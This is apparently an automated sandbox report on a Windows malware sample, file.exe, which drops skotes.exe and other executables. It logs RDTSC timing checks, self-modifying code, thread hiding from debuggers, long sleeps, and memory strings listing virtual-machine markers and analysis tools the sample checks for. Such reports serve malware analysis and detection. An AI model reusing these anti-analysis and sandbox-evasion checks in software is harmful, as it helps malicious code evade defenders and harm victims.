Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0954 second address: 52C097C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007F100CBC40C4h 0x00000010 mov eax, dword ptr [esi+10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C097C second address: 52C0980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0980 second address: 52C0984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0984 second address: 52C098A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C098A second address: 52C0A04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F100CBC40C2h 0x00000009 or si, 1238h 0x0000000e jmp 00007F100CBC40BBh 0x00000013 popfd 0x00000014 mov ch, D0h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test eax, eax 0x0000001b jmp 00007F100CBC40BBh 0x00000020 jne 00007F107EC43417h 0x00000026 pushad 0x00000027 mov dl, ah 0x00000029 pushfd 0x0000002a jmp 00007F100CBC40C1h 0x0000002f and ax, FB86h 0x00000034 jmp 00007F100CBC40C1h 0x00000039 popfd 0x0000003a popad 0x0000003b sub eax, eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F100CBC40BAh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0A04 second address: 52C0A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CB9507Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0A16 second address: 52C0A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 707976 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 705FFA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 55C556 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 55EBB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 79E6AA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6C7976 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6C5FFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 51C556 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 51EBB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 75E6AA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Special instruction interceptor: First address: 79BA43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Special instruction interceptor: First address: 941483 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Special instruction interceptor: First address: 9C4C26 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Memory allocated: 13D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Memory allocated: 2E50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Memory allocated: 2BE0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05310C49 rdtsc

0_2_05310C49

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 8396	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3930
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4299
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4761
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2569
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Window / User API: threadDelayed 3323
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Window / User API: threadDelayed 6493
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7820
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1826

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Dropped PE file which has not been started: C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Dropped PE file which has not been started: C:\xxzyi\87322bc62a3f46ebac8ba4f227f3c48a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1948	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1948	Thread sleep time: -124062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3532	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3532	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3220	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3220	Thread sleep time: -124062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2896	Thread sleep count: 254 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2896	Thread sleep time: -7620000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3476	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3476	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916	Thread sleep count: 276 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916	Thread sleep time: -552276s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3816	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3816	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916	Thread sleep count: 8396 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916	Thread sleep time: -16800396s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7164	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5768	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6956	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe TID: 7452	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe TID: 7860	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe TID: 7824	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe TID: 6240	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -99874s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -99764s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -99546s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -99218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -99106s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98999s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98671s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98561s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98343s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98124s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -98015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97906s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97796s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97687s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97578s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97468s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97359s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97249s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97140s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -97031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -96920s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -96809s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -96702s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -96573s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -96468s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -96359s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -96212s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -96107s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -95921s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -95171s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -95062s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94953s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94843s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94734s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94515s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94406s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94296s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94187s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe TID: 5012	Thread sleep time: -94141s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1540	Thread sleep count: 7820 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1540	Thread sleep count: 1826 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5256	Thread sleep time: -5534023222112862s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 99874
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 99764
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 99546
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 99218
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 99106
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98999
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98781
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98671
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98561
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98453
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98343
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98234
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98124
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 98015
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97906
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97796
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97687
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97578
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97468
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97359
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97249
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97140
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 97031
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 96920
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 96809
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 96702
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 96573
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 96468
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 96359
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 96212
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 96107
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 95921
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 95171
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 95062
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94953
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94843
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94734
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94625
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94515
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94406
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94296
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94187
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Thread delayed: delay time: 94141
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 343658ec78.exe, 00000030.00000002.3286099613.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.2959247337.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp, 212ab81242.exe, 0000002F.00000002.3166407119.0000000001637000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001637000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3c
Source: 343658ec78.exe, 00000030.00000002.3286099613.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp, 212ab81242.exe, 0000002F.00000002.3166407119.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: 343658ec78.exe, 00000030.00000002.3301269196.0000000006A6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\7
Source: PING.EXE, 0000002D.00000002.3003826844.000002309CE87000.00000004.00000020.00020000.00000000.sdmp, 5ec1855a88.exe, 0000002E.00000003.3045989215.0000000001482000.00000004.00000020.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3286099613.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: PING.EXE, 00000028.00000002.2977742879.000001ED90D9D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllaa

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
